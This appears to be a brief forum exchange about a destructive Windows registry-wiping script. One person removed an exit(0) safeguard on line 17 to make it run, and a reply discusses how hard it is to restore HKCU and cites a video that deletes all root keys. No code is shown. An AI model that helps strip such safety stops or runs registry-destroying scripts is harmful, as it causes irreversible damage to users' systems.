how do i bypass the safeguard

i deleted the exit(0) on line 17 and it seems to do something

No...... you can't restore it easily because it affected the HKCU, but HKLM is easy... But you can ensure it's OK if the script do not show any consoles yet (IDLE is counted as a console window, but more formatting). FlyTech have a video that delete all root key once.
